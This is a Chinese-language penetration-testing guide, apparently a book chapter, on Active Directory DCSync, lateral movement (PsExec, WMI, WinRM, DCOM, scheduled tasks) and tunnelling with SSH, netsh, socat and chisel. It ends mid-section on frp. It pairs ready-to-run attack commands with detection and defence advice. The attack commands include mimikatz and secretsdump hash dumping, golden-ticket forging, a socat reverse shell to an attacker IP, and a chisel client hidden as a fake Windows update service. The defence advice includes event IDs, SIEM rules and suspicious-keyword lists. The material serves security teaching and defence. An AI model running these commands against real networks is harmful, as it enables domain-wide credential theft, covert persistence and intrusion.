有"复制目录更改(Replicating Directory Changes)"权限的账号,
可以【合法地】向域控请求"把某个用户的数据同步给我"。

★ 攻击者的做法:
   我(有这个权限的账号)伪装成一个"新的域控",
   向真域控说:"我是备份域控,把 krbtgt / Administrator 的数据同步给我"
   域控就【真的给了】——包括密码 Hash。

★ 为什么这很可怕:
   不需要登录域控、不需要碰 NTDS.dit 文件、
   不需要在域控上执行任何代码——
   只要有一个有复制权限的账号,从【任何一台域内机器】远程就能拿到全域哈希。

生活类比:

银行的各个分行之间每天要对账(域复制)。
对账员(有复制权限的账号)可以打电话给总行说:
"我是城东分行,把今天的账目发给我"。
总行就发了——包括所有客户的账户信息和余额。

攻击者偷到了对账员的工牌,
他打同样的电话,总行也会发。
而且这个电话是【完全合规的业务流程】,
日志上记的是"一次正常的域复制"。

② 需要的权限

以下任何一个权限都够:
  - Domain Admins 组成员
  - Enterprise Admins 组成员
  - Administrators 组成员(域内的)
  - 域控的本地管理员
  - ★ 被显式委派了以下任一权限的账号:
      - DS-Replication-Get-Changes
      - DS-Replication-Get-Changes-All
      - DS-Replication-Get-Changes-In-Filtered-Set

★ 注意:这个权限【经常被误配】。
   有些环境为了做"AD 备份"、"AD 同步工具"、"身份管理系统",
   给某个服务账号配了这个权限。
   而这个服务账号往往权限管理松懈(密码老、能被 Kerberoasting)。
   → 拿到这个服务账号 = 拿到全域哈希

★ 用 BloodHound 可以直接查出"谁能 DCSync":
   内置查询:Find Principals with DCSync Rights

③ 实战

# ===== 方法一:mimikatz(Windows)=====

# ① 拿指定用户(通常是 krbtgt 或 Administrator)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# 输出:
#   ** SAM ACCOUNT **
#   SAM Username         : krbtgt
#   Object Relative ID   : 502
#   Credentials:
#     Hash NTLM: 8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d
#     aes256_hmac        : 3f8a2b1c...
#   Supplemental Credentials:
#     ...(Kerberos 的各种密钥)

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# ② 拿所有用户(★ 这就是完整拿下域)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
# 输出所有用户的 Hash,可以直接喂给 hashcat 或做 PTH

# ③ 指定域控
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt /dc:dc01.corp.local

# ★ 前提条件:
#   当前会话必须是有复制权限的用户(比如域管)
#   如果用普通用户,需要用 runas /netonly 或 PTH 先拿到域管身份


# ===== 方法二:impacket secretsdump(Linux,最常用)=====

# ① 用密码
python3 secretsdump.py corp.local/administrator:Password123@dc01.corp.local

# ② 用 NTLM Hash(PTH)
python3 secretsdump.py corp.local/administrator@dc01.corp.local -hashes :<NTHash>

# ③ 用 Kerberos 票据
export KRB5CCNAME=admin.ccache
python3 secretsdump.py corp.local/administrator@dc01.corp.local -k -no-pass

# ④ 只要某个用户
python3 secretsdump.py corp.local/administrator:pass@dc01.corp.local -just-dc-user krbtgt

# ⑤ 只拿 NTLM Hash(不拿历史密码)
python3 secretsdump.py corp.local/administrator:pass@dc01.corp.local -just-dc-ntlm

# ⑥ 输出示例
#   Administrator:500:aad3b435b51404eeaad3b435b51404ee:2092c96a2b0f3b7b8a2f2c9d5e1a0b3c:::
#   Guest:501:...:...
#   krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d:::
#   ...
#   PC001$:1103:...:...
#   ★ 格式:用户名:RID:LM Hash:NT Hash:::


# ===== 方法三:只拿 DCSync 权限的账号(不需要域管)=====
# 如果你的账号被委派了复制权限,但不在 Domain Admins 里:
python3 secretsdump.py corp.local/svc_adbackup:pass@dc01.corp.local -just-dc-ntlm
# ★ 这就是为什么"检查谁有复制权限"如此重要


# ===== 拿到哈希之后 =====
# ① 做 PTH 到任何机器
python3 psexec.py corp.local/administrator@any-machine -hashes :<Administrator的Hash>

# ② 造黄金票据(用 krbtgt 的 Hash)
python3 ticketer.py -nthash <krbtgt的Hash> -domain-sid <域SID> -domain corp.local Administrator

# ③ 批量破解弱口令
hashcat -m 1000 hashes.txt rockyou.txt

④ 防御 DCSync

【① 审计并清理"复制权限"】★ 最重要
   # 查看域根的 ACL,找谁有复制权限
   Import-Module ActiveDirectory
   $domainDN = (Get-ADDomain).DistinguishedName
   $acl = Get-Acl "AD:\$domainDN"
   $acl.Access | Where-Object {
       $_.ActiveDirectoryRights -match "ExtendedRight" -and
       $_.ObjectType -in @(
           "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",   # DS-Replication-Get-Changes
           "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",   # DS-Replication-Get-Changes-All
           "89e95b76-444d-4c62-991a-0facbeda640c"    # DS-Replication-Get-Changes-In-Filtered-Set
       )
   } | Select-Object IdentityReference, ActiveDirectoryRights

   # ★ 正常应该只有这些:
   #   - Domain Admins
   #   - Enterprise Admins
   #   - Administrators
   #   - SYSTEM
   #   - 所有域控的机器账号(DC01$、DC02$...)
   #   - Exchange 相关的组(如果装了 Exchange,它有这个权限是设计如此)
   #
   # ★ 任何其他账号有这个权限,都要问"为什么",不需要就删掉

   # 用 BloodHound 更简单:
   #   内置查询 "Find Principals with DCSync Rights"

【② 保护有复制权限的服务账号】
   如果业务真的需要(比如身份同步系统):
     - 用 gMSA(密码随机,没人知道)
     - 限制它只能从特定机器登录
     - 强监控它的所有活动
     - 加进 Protected Users 组

【③ 保护域管账号】
   - 不让域管登录普通机器(凭据不泄露)
   - 分层管理(Tier 0 专用账号)
   - PAW(特权访问工作站)

【④ 检测】★ 关键
   a) 【Event 4662:对 Active Directory 对象执行了操作】
      ★ 需要开启"目录服务访问"审计:
        auditpol /set /subcategory:"目录服务访问" /success:enable /failure:enable

      关注:
        - ObjectType 是上面那三个 GUID(复制权限)
        - 发起者不是域控机器账号
        - 发起者不在已知的"合法同步账号"白名单里

   b) 【Event 4624 登录类型 3(网络登录)到域控】
      ★ 关注:非常用账号从非域控机器登录域控

   c) 【网络流量检测】
      DCSync 会产生 MS-DRSR 协议的流量(RPC,动态端口或 135)
      ★ 特征:来自非域控 IP 的 DRSUAPI 调用

   d) 【SIEM 规则建议】
      规则1:"任何非域控机器账号发起了带 DS-Replication-Get-Changes 的
             目录服务访问" → 高危告警
      规则2:"单个账号在 1 分钟内请求了大量用户的复制数据" → 高危告警

【⑤ 限制谁能登录域控】
   组策略 → 计算机配置 → Windows 设置 → 安全设置 → 用户权限分配
   → "允许在本地登录":只包含 Domain Admins 和必要的管理员
   → "拒绝从网络访问这台计算机":加上不需要的组

【⑥ 定期轮换 krbtgt】
   即使被 DCSync 了,只要及时重置 krbtgt(两次),
   攻击者造的黄金票据就作废了

7.6 横向移动技术

从“我有凭据”到“我在那台机器上执行了命令”的具体手段。

7.6.1 五种主流横向技术对比

技术 端口 需要权限 日志/痕迹 隐蔽性 备注
PsExec 445 (SMB) + 动态 RPC 本地管理员 ★ 明显(装服务) 低 老牌,特征太明显
WMI (wmiexec) 135 (RPC) + 动态 本地管理员 中(Event 4688 子进程) 中 无回显问题
WinRM 5985 (HTTP) / 5986 (HTTPS) 本地管理员 或 Remote Management Users 中 高 现代推荐,像正常运维
SMB (smbexec) 445 本地管理员 中 中 不落地文件
DCOM 135 + 动态 本地管理员 中 中 通过 MMC20.Application 等
计划任务 (schtasks) 445 + 135 本地管理员 中(Event 4698) 中 可以指定执行时间
服务 (sc) 445 + 135 本地管理员 中(Event 7045) 低 和 PsExec 类似
RDP 3389 Remote Desktop Users 明显(有交互) 低 有图形界面,容易被发现

7.6.2 PsExec(最经典,也最容易被抓)

# ===== 原理 =====
# PsExec 做的事情:
#   ① 通过 SMB 连接到目标的 ADMIN$ 共享(C:\Windows)
#   ② 上传一个服务程序(PSEXESVC.exe)
#   ③ 通过服务管理器(SCM)远程创建并启动一个服务
#   ④ 服务运行后创建一个命名管道,你的本地 PsExec 连上去
#   ⑤ 你输入的命令通过管道传给服务,服务执行后把输出传回来
#   ⑥ 退出时删除服务和文件(但【不会删干净】)

# ===== 用法 =====
# ① Sysinternals 原版
psexec \\192.168.1.10 -u corp\administrator -p Password123 cmd.exe
psexec \\192.168.1.10 -u corp\administrator -p Password123 -s cmd.exe   # -s = SYSTEM
psexec \\192.168.1.10 -u corp\administrator -p Password123 -i cmd.exe   # -i = 交互式(用户在桌面能看到!)
psexec @targets.txt -u corp\administrator -p Password123 "whoami"       # 批量

# ② Metasploit 的 psexec
meterpreter > use exploit/windows/smb/psexec
# 或 psexec_psh(PowerShell 版,不落地 exe)

# ③ impacket(Linux)
python3 psexec.py corp.local/administrator:Password123@192.168.1.10
python3 psexec.py corp.local/administrator@192.168.1.10 -hashes :<NTHash>

# ④ CrackMapExec
crackmapexec smb 192.168.1.10 -u administrator -p Password123 -x "whoami"

# ===== 检测特征(★ 防守方重点关注)=====
# ① 服务名:PSEXESVC(★ 最明显的特征)
sc \\192.168.1.10 query PSEXESVC
# ② Event 7045(服务已安装)或 4697
#    服务名: PSEXESVC
#    服务文件路径: %SYSTEMROOT%\PSEXESVC.exe
# ③ Event 4624 登录类型 3 + 账号是管理员
# ④ 文件系统:C:\Windows\PSEXESVC.exe 被创建
# ⑤ 网络:445 端口的连接 + ADMIN$ 共享的访问
# ⑥ Event 5140(网络共享对象被访问)+ 共享名是 ADMIN$ 或 C$

# ★ SIEM 规则:
#   "Event 7045 且 服务名包含 PSEXESVC" → 高危告警
#   或者更宽泛:"Event 7045 且 服务路径在 C:\Windows\ 下且不是已知服务"

7.6.3 WMI(wmiexec)

# ===== 原理 =====
# WMI(Windows Management Instrumentation)是 Windows 的远程管理框架。
# 它允许通过 DCOM/RPC 远程执行 WMI 类的方法,
# 其中一个类 Win32_Process 有 Create 方法 → 能创建进程。

# ===== 优势 =====
#   ✓ 不需要上传文件(无文件落地)
#   ✓ 135 端口通常都开(很多环境 445 被封但 135 没封)
#   ✓ 是系统自带功能,不是"外部工具"
#
# ===== 劣势 =====
#   ✗ 【没有回显】——命令执行了,但你看不到输出
#     (解决办法:把输出写到文件,再通过 SMB 读回来)

# ===== 用法 =====
# ① wmic(系统自带)
wmic /node:192.168.1.10 /user:corp\administrator /password:Password123 process call create "cmd.exe /c whoami > C:\Temp\out.txt"
# 然后通过 SMB 读回
type \\192.168.1.10\C$\Temp\out.txt

# ② PowerShell(★ 推荐,更像正常运维)
$cred = Get-Credential corp\administrator
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\out.txt" `
    -ComputerName 192.168.1.10 -Credential $cred

# 或者更现代的 CIM(走 WinRM,端口不同)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
    -Arguments @{CommandLine="calc.exe"} -ComputerName 192.168.1.10

# ③ impacket wmiexec(Linux,★ 有半交互 shell)
python3 wmiexec.py corp.local/administrator:Password123@192.168.1.10
python3 wmiexec.py corp.local/administrator@192.168.1.10 -hashes :<NTHash> "whoami"

# ④ CrackMapExec(用 wmi 协议)
crackmapexec wmi 192.168.1.10 -u administrator -p Password123 -x "whoami"

# ===== 其他 WMI 操作(横向+信息收集)=====
wmic /node:192.168.1.10 /user:admin /password:pass process list brief        # 进程列表
wmic /node:192.168.1.10 /user:admin /password:pass service list brief        # 服务列表
wmic /node:192.168.1.10 /user:admin /password:pass startup list brief        # 启动项
wmic /node:192.168.1.10 /user:admin /password:pass ntdomain list brief       # 域信息
wmic /node:192.168.1.10 /user:admin /password:pass useraccount list brief    # 用户列表
wmic /node:192.168.1.10 /user:admin /password:pass netlogin list brief       # 登录信息

# ===== 检测特征 =====
# ① Event 4688(进程创建)+ 父进程是 WmiPrvSE.exe ★ 最明显
# ② Event 4624 登录类型 3(网络登录)
# ③ Sysmon 1(进程创建):ParentImage 包含 WmiPrvSE.exe
# ④ 网络:135 端口 + 动态 RPC 端口的连接
# ⑤ WMI-Activity 日志(Microsoft-Windows-WMI-Activity/Operational)Event 5857

# ★ SIEM 规则:
#   "Event 4688 且 父进程是 WmiPrvSE.exe 且 子进程是 cmd.exe/powershell.exe"
#   → 这是 WMI 横向移动的典型特征(正常运维也可能有,但至少要告警)

7.6.4 WinRM(★ 现代环境推荐,最隐蔽)

# ===== 原理 =====
# WinRM(Windows Remote Management)是微软基于 WS-Management 协议的
# 现代远程管理方案,PowerShell Remoting 就是基于它。
# 端口:5985 (HTTP) / 5986 (HTTPS)

# ===== 优势(★ 为什么它最隐蔽)=====
#   ✓ 这是【正常的运维方式】——管理员本来就该用它
#   ✓ 流量是 HTTP/SOAP,看起来像普通 Web 流量
#   ✓ PowerShell Remoting 是微软主推的管理方式,日志噪音大
#   ✓ 有完整的会话管理,交互体验好

# ===== 劣势 =====
#   ✗ 目标需要启用 WinRM(Server 2012+ 默认开,Win10 默认关)
#   ✗ 需要是本地管理员 或 Remote Management Users 组成员

# ===== 检查目标是否开了 WinRM =====
Test-WSMan -ComputerName 192.168.1.10
Test-NetConnection -ComputerName 192.168.1.10 -Port 5985

# ===== 用法 =====
# ① 交互式会话(★ 最好用)
$cred = Get-Credential corp\administrator
Enter-PSSession -ComputerName 192.168.1.10 -Credential $cred
# 进入后就像在本地一样,直接敲命令

# ② 执行单条命令
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
    whoami
    Get-Process | Where-Object { $_.CPU -gt 50 }
    ipconfig
}

# ③ 批量(★ 一条命令横扫)
Invoke-Command -ComputerName (Get-Content .\servers.txt) -Credential $cred -ScriptBlock {
    [PSCustomObject]@{
        Computer = $env:COMPUTERNAME
        User     = whoami
        LoggedOn = (query user 2>$null)
    }
}

# ④ 传输文件(★ 很实用)
$session = New-PSSession -ComputerName 192.168.1.10 -Credential $cred
Copy-Item -Path C:\Temp\tool.exe -Destination C:\Windows\Temp\ -ToSession $session

# ⑤ 用 IP 地址(需要配置 TrustedHosts,因为默认只信任域内主机名)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.*" -Force
Enter-PSSession -ComputerName 192.168.1.10 -Credential $cred

# ⑥ Linux 上用(evil-winrm,★ 非常好用)
evil-winrm -i 192.168.1.10 -u administrator -p 'Password123'
evil-winrm -i 192.168.1.10 -u administrator -H '<NTHash>'        # PTH
evil-winrm -i 192.168.1.10 -u administrator -H '<NTHash>' -s /opt/scripts -e /opt/exes
# evil-winrm 支持:上传下载、加载 PowerShell 脚本、内存执行、日志绕过等

# ⑦ impacket
python3 wmiexec.py corp.local/administrator:pass@192.168.1.10     # 走的是 WMI
# WinRM 版本:
#   python3 evil-winrm 或 用 pywinrm 库

# ===== 检测特征 =====
# ① Event 4624 登录类型 3(网络登录)+ 登录进程 = "Advapi" 或 "Negotiate"
# ② PowerShell 日志:
#    - Event 400(引擎启动)
#    - Event 403(引擎结束)
#    - Event 600(WSMan 提供程序启动)
#    - ★ Event 4103(模块日志):会记录执行的 cmdlet
#    - ★ Event 4104(脚本块日志):会记录脚本内容(★ 最有价值)
# ③ WinRM 日志:Microsoft-Windows-WinRM/Operational
#    - Event 6(创建 WSMan 会话)
#    - Event 91(会话认证)
#    - Event 168(会话建立)
# ④ 网络:5985/5986 端口的连接
# ⑤ ★ 关键区分点:
#    正常运维 = 从跳板机/管理机发起、工作时间、固定目标
#    异常     = 从办公机/服务器发起、非工作时间、批量目标

# ★ SIEM 规则建议:
#   规则1:"从非管理网段发起的 WinRM 连接" → 告警
#   规则2:"单个账号在 5 分钟内通过 WinRM 连接超过 10 台机器" → 告警
#   规则3:"WinRM 会话中执行了可疑 cmdlet(Invoke-Expression、
#          DownloadString、IEX、EncodedCommand)" → 高危

7.6.5 DCOM 与计划任务

# ===== DCOM =====
# 原理:通过 DCOM(分布式 COM)远程调用 COM 对象的方法。
# 常用的 COM 对象:
#   - MMC20.Application(MMC 2.0 的自动化接口)
#   - ShellBrowserWindow / ShellWindows(Internet Explorer 的 COM)
#   - Excel.Application(如果装了 Office)
#   - Outlook.Application

# 用法(MMC20.Application)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe", "Minimized")

# 或用 PowerShell 的 Invoke-DCOM(Empire/nishang 里有)
Invoke-DCOM -ComputerName 192.168.1.10 -Method MMC20.Application -Command "calc.exe"

# 或用 impacket 的 dcomexec
python3 dcomexec.py corp.local/administrator:pass@192.168.1.10
python3 dcomexec.py corp.local/administrator@192.168.1.10 -hashes :<NTHash> "whoami"
python3 dcomexec.py -object MMC20 corp.local/administrator:pass@192.168.1.10

# 检测:
#   - Event 4688 + 父进程是 mmc.exe 或 dllhost.exe
#   - Sysmon 1:ParentImage 是 mmc.exe/cscript.exe/dllhost.exe 但命令行异常
#   - 网络:135 + 动态 RPC


# ===== 计划任务(schtasks)=====
# 原理:通过 SMB 上传文件 + RPC 创建计划任务,让目标机器定时执行

# 用法
schtasks /create /s 192.168.1.10 /u corp\administrator /p Password123 ^
         /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" ^
         /sc once /st 12:00 /ru SYSTEM /f
schtasks /run /s 192.168.1.10 /u corp\administrator /p Password123 /tn "WindowsUpdate"
schtasks /delete /s 192.168.1.10 /u corp\administrator /p Password123 /tn "WindowsUpdate" /f

# PowerShell 版
$cred = Get-Credential
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
    schtasks /create /tn "Update" /tr "cmd.exe /c whoami > C:\Temp\o.txt" /sc once /st 23:59 /ru SYSTEM /f
    schtasks /run /tn "Update"
}

# ★ 更隐蔽的做法:用 WMI 创建计划任务(不产生 schtasks 的日志)
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
    # 用 WMI 的 Win32_ScheduledJob 或直接操作 Tasks 文件夹
}

# impacket 的 atexec(用任务计划程序 API)
python3 atexec.py corp.local/administrator:pass@192.168.1.10 "whoami"

# 检测:
#   - Event 4698(计划任务被创建)★
#   - Event 4699(计划任务被删除)
#   - Event 4702(计划任务被更新)
#   - Event 4700/4701(启用/禁用)
#   - 文件系统:C:\Windows\System32\Tasks\ 下新增 XML 文件
#   - Event 4688:父进程是 schtasks.exe 或 TaskEng.exe
#   ★ 关注:任务名伪装成系统任务、执行路径在 Temp 目录

7.6.6 横向移动的检测与防御(防守方总结)

【检测:五个层次】

① 【网络层】
   - 采集内网的 NetFlow / 全流量
   - 建立"正常通信基线"(谁平时跟谁通信,用什么端口)
   - 告警:
     ★ 办公机 → 服务器的 445/135/5985 连接(★ 最有效的一条)
     ★ 服务器 → 服务器 的横向连接(不是业务的正常流向)
     ★ 短时间内的端口扫描行为
     ★ 同一源 IP 对大量目标的 445 连接

② 【主机层 - 登录事件】
   - Event 4624(登录成功)
     关注:登录类型 3(网络)、10(RDP)的来源 IP 和账号
           ★ 异常组合:服务账号发起了交互式登录
                       域管从办公机登录
                       同一个账号 5 分钟内登录了 20 台机器
   - Event 4648(使用显式凭据登录)
     ★ 这是 PsExec/WMI/WinRM 的典型特征,出现就要关注
   - Event 4672(授予特殊权限)
     ★ 有人拿到了 SeDebugPrivilege 等高权限

③ 【主机层 - 进程行为】
   - Sysmon 1:进程创建 + 父进程
     ★ 异常父子关系:
       w3wp.exe → cmd.exe        (Web 服务派生 shell = webshell)
       WmiPrvSE.exe → cmd.exe    (WMI 横向)
       services.exe → 异常的 exe (服务型后门)
       explorer.exe → powershell -enc  (可疑)
   - Sysmon 3:网络连接
     ★ 异常外连、异常端口
   - Sysmon 10:进程访问
     ★ 访问 lsass.exe

④ 【服务与任务】
   - Event 7045 / 4697:服务安装
     ★ 服务名可疑(PSEXESVC、随机字符串、伪装成系统服务)
     ★ 服务路径在 Temp/Downloads 目录
   - Event 4698:计划任务创建
     ★ 任务名伪装、执行路径在 Temp

⑤ 【PowerShell】
   - Event 4104(脚本块日志)★ 最有价值
     关注关键字:IEX、Invoke-Expression、DownloadString、
                -enc、FromBase64String、Invoke-Mimikatz、
                sekurlsa、Invoke-BloodHound、Rubeus、kerberos::golden
   - Event 4103(模块日志)
   - 转录(Transcription)

【防御:五个层次】

① 【网络分段】★ 最有效也最难
   - 办公网 / 生产网 / 管理网 三网隔离
   - 服务器之间按需互通(微分段),默认拒绝
   - 工作站之间【禁止互访】(★ 办公机之间本来就不该有 SMB 流量)
     → 用 Windows 防火墙的"域配置文件"规则禁掉入站
   - 关键服务器(域控、数据库)只允许从跳板机访问

② 【身份与权限】
   - 分层管理模型(Tier 0/1/2)
   - LAPS(本地管理员密码随机化)★ 断掉 PTH 横向
   - 不让域管登录普通机器
   - Protected Users 组
   - 特权访问工作站(PAW)

③ 【主机加固】
   - 关闭不必要的服务(Server 服务、Remote Registry)
   - 防火墙:只允许必要的入站
   - 禁用 NTLM(或至少审计)
   - SMB 签名 + LDAP 签名(★ 防中继)
   - AppLocker / WDAC

④ 【凭据保护】
   - Credential Guard
   - LSA Protection
   - 关 WDigest
   - 定期轮换 krbtgt

⑤ 【蜜罐/蜜标】★ 性价比极高
   - 【蜜标账号】:创建一个"看起来像域管"的账号(比如 svc_backup_admin),
     加到 Domain Admins 里,但【永远没人用它】。
     任何对它的认证/使用都是攻击 → 立即告警。
     ★ 实现:给这个账号配一条"登录即告警"的规则

   - 【蜜标文件】:在文件服务器上放一个诱饵文件("密码.xlsx"),
     监控对它的访问。任何人打开都是可疑的。

   - 【蜜标凭据】:在内存里放一些假的凭据(比如假的域管 Hash),
     任何人用它做 PTH 就会触发告警。

   - 【蜜罐机器】:在内网放几台假的服务器(看起来像老系统、有漏洞),
     任何人去连接都是扫描/攻击行为。

   ★ 蜜标的优势:
     - 误报率极低(正常用户不会去碰"不存在的东西")
     - 检测速度快(攻击者很难分辨真假)
     - 成本低(几个账号 + 几条规则)

7.7 隧道与内网穿透

为什么需要隧道:

攻击者拿下了一台内网机器(比如 DMZ 区的 Web 服务器),
想继续往内网的数据库服务器(10.0.0.5:1433)打。

问题:攻击者在公网,10.0.0.5 是内网地址,直接连不到。
      而且防火墙可能只放行 80/443 出站。

解决:在已控的 Web 服务器上建一条"隧道"——
      攻击者的流量 → 通过 80/443 发到 Web 服务器
                 → Web 服务器转发给 10.0.0.5:1433
                 → 响应原路返回

★ 这就是隧道的本质:【借道】。
  用一条"看起来正常"的连接,承载"不该有"的流量。

7.7.1 隧道的四种类型(按网络层次)

【L2/L3 层隧道】—— 整个 IP 包都被封装
  代表:IPsec、GRE、 tun/tap(VPN 类)
  特点:能承载【任何协议】(ping、SMB、RDP 全都行)
  工具:OpenVPN、WireGuard、PingTunnel(ICMP)

【L4 层隧道】—— 转发 TCP/UDP 端口
  代表:端口转发、SOCKS 代理
  特点:最常用,灵活
  工具:SSH 端口转发、netsh、socat、chisel、frp、gost、EarthWorm

【L7 层隧道】—— 封装在应用层协议里
  代表:HTTP 隧道、DNS 隧道
  特点:★ 最隐蔽(看起来就是正常的 Web 请求/DNS 查询)
       但也最慢、最受限
  工具:reGeorg、Neo-reGeorg、dnscat2、iodine

【反向/正反之分】
  正向(Bind):目标开一个监听端口,攻击者主动连进去
     问题:目标的防火墙通常禁止入站 → 用不了
  反向(Reverse)★:目标主动连回攻击者
     优势:出站通常是放行的(目标要上网)→ 最常用

7.7.2 端口转发(最基础)

① SSH 端口转发(Linux 环境首选,系统自带)

# ===== 本地转发(-L):把远程端口映射到本地 =====
# 场景:我能 SSH 到跳板机 1.1.1.1,想访问只有跳板机能访问的 10.0.0.5:1433
ssh -L 1433:10.0.0.5:1433 user@1.1.1.1 -N -f
# 然后本地连 127.0.0.1:1433 就等于连 10.0.0.5:1433
sqlcmd -S 127.0.0.1,1433 ...

# 语法:-L [本地IP:]本地端口:目标IP:目标端口
#   -N = 不执行远程命令(只做转发)
#   -f = 后台运行
#   -C = 压缩

# ★ 绑定到 0.0.0.0(让其他机器也能用这个隧道)
ssh -L 0.0.0.0:1433:10.0.0.5:1433 user@1.1.1.1 -N -f
# 需要服务端 /etc/ssh/sshd_config 里 GatewayPorts yes


# ===== 远程转发(-R):把本地端口映射到远程 ★ 内网穿透的关键 =====
# 场景:我在内网有一台机器,想让公网的服务器能连回来
ssh -R 8080:127.0.0.1:8080 user@公网服务器 -N -f
# 现在访问"公网服务器的 8080" = 访问"内网机器的 8080"

# 更实用:把内网的 RDP 端口映射出去
#   在内网机器上执行:
ssh -R 3389:10.0.0.10:3389 user@公网服务器 -N -f
#   攻击者在公网服务器上连 127.0.0.1:3389 = 连内网 10.0.0.10 的远程桌面

# ★ 需要公网服务器 sshd_config 里 GatewayPorts clientspecified 或 yes


# ===== 动态转发(-D):SOCKS 代理 ★ 最灵活 =====
# 场景:想通过跳板机访问整个内网
ssh -D 1080 user@1.1.1.1 -N -f
# 现在本地 127.0.0.1:1080 就是一个 SOCKS5 代理
# 配置浏览器/proxychains 走这个代理,就能访问内网的所有资源

# 配置 proxychains(Linux)
# /etc/proxychains.conf 最后一行:
#   socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains rdesktop 10.0.0.10
proxychains python3 psexec.py corp.local/admin:pass@10.0.0.10
proxychains firefox

# Windows 上用 Proxifier / SocksCap 配置 SOCKS 代理


# ===== 多级跳板(★ 真实环境常用)=====
# 场景:攻击者 → DMZ 的 Web 服务器 → 内网的办公机 → 核心数据库
# 做两层动态转发:

# 第一层:本地 → DMZ 服务器
ssh -D 1080 user@dmz-web -N -f

# 第二层:DMZ 服务器 → 内网办公机(在 DMZ 服务器上执行)
ssh -D 1081 user@10.0.1.50 -N -f

# 然后链式代理(用 proxychains 的 chain 模式)
# /etc/proxychains.conf:
#   [ProxyList]
#   socks5 127.0.0.1 1080
#   socks5 <DMZ服务器内网IP> 1081

② Windows 端口转发(netsh,系统自带)

# ===== netsh portproxy(★ 无需任何工具)=====
# 需要管理员权限

# ① 添加转发规则
netsh interface portproxy add v4tov4 listenport=1433 listenaddress=0.0.0.0 connectport=1433 connectaddress=10.0.0.5
# 含义:本机 1433 端口收到的流量,转发给 10.0.0.5:1433

# ② 查看规则
netsh interface portproxy show all
# 输出:
#   侦听 ipv4:                 连接到 ipv4:
#   地址            端口       地址            端口
#   --------------- ---------- --------------- ----------
#   0.0.0.0         1433       10.0.0.5        1433

# ③ 删除规则
netsh interface portproxy delete v4tov4 listenport=1433 listenaddress=0.0.0.0
netsh interface portproxy reset

# ④ 支持 IPv6 到 IPv4
netsh interface portproxy add v6tov4 listenport=80 connectaddress=10.0.0.5 connectport=8080

# ★ 注意:需要在防火墙上放行监听端口
netsh advfirewall firewall add rule name="portproxy_1433" dir=in action=allow protocol=TCP localport=1433

# ★ 检测(防守方):
#   netsh interface portproxy show all
#   注册表:HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp
#   ★ 正常服务器上这个应该是空的,有规则就要问为什么

③ 其他端口转发工具

# ===== socat(Linux 瑞士军刀)=====
# 简单转发
socat TCP4-LISTEN:1433,fork TCP4:10.0.0.5:1433

# 反向(目标主动连回来)
#   攻击者机器上监听:
socat -d -d TCP4-LISTEN:8888,reuseaddr,fork -
#   目标机器上:
socat TCP4:攻击者IP:8888 EXEC:/bin/bash

# ===== plink(PuTTY 的命令行版,Windows)=====
plink.exe -C -N -L 1433:10.0.0.5:1433 user@1.1.1.1 -pw password
plink.exe -C -N -R 3389:10.0.0.10:3389 user@公网服务器 -pw password
plink.exe -C -N -D 1080 user@1.1.1.1 -pw password

# ===== Meterpreter 的 portfwd =====
meterpreter > portfwd add -l 1433 -p 1433 -r 10.0.0.5
meterpreter > portfwd list
meterpreter > portfwd delete -l 1433
# ★ 直接利用已有的 meterpreter 会话,不需要额外工具

7.7.3 SOCKS 代理工具(★ 实战主力)

① chisel(推荐,Go 写的,单文件,跨平台)

# ===== 原理 =====
# chisel 用 HTTP/WebSocket 承载 TCP 流量,可以穿透只能走 80/443 的网络。
# 而且支持反向模式(目标主动连回来)。

# ===== 服务端(攻击者机器上)=====
./chisel server -p 8080 --reverse --socks5
#   --reverse : 允许客户端建立反向隧道
#   --socks5  : 提供 SOCKS5 代理
#   -p 8080   : 监听端口(用 80/443 更隐蔽)

# 带认证(★ 防止别人蹭你的隧道)
./chisel server -p 8080 --reverse --socks5 --auth "user:password"

# ===== 客户端(已控的内网机器上)=====
./chisel client 攻击者IP:8080 R:socks
#   R:socks = 反向 SOCKS 代理(在服务端开一个 SOCKS 端口)
#   服务端会输出:"proxy#R:127.0.0.1:1080"

# 现在攻击者机器上 127.0.0.1:1080 就是通往内网的 SOCKS5 代理
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains rdesktop 10.0.0.10

# 带认证
./chisel client --auth "user:password" 攻击者IP:8080 R:socks

# ===== 其他用法 =====
# ① 反向端口转发(把内网的 3389 映射到攻击者的 13389)
./chisel client 攻击者IP:8080 R:13389:10.0.0.10:3389
rdesktop 127.0.0.1:13389

# ② 正向端口转发
./chisel client 攻击者IP:8080 13389:10.0.0.10:3389

# ③ 后台运行(Linux)
nohup ./chisel client 攻击者IP:8080 R:socks > /dev/null 2>&1 &

# ④ Windows 上后台运行
start /b chisel.exe client 攻击者IP:8080 R:socks
# 或者做成服务
sc create "WindowsUpdateSvc" binPath= "C:\Windows\Temp\chisel.exe client 攻击者IP:8080 R:socks" start= auto
sc start "WindowsUpdateSvc"

# ===== 检测(防守方)=====
#   ① 网络:到外部 IP 的长连接(WebSocket 升级请求,Upgrade: websocket)
#   ② 进程:chisel.exe 进程(★ 改名也行,但行为特征在)
#   ③ 命令行:chisel client xxx R:socks
#   ④ 流量:SOCKS5 握手(0x05 0x01 0x00)
#   ⑤ ★ 最有效:限制出站连接(白名单),内网服务器本来就不该主动连外网

② frp(国内最流行)

# ===== 服务端(frps)=====
# frps.ini
[common]
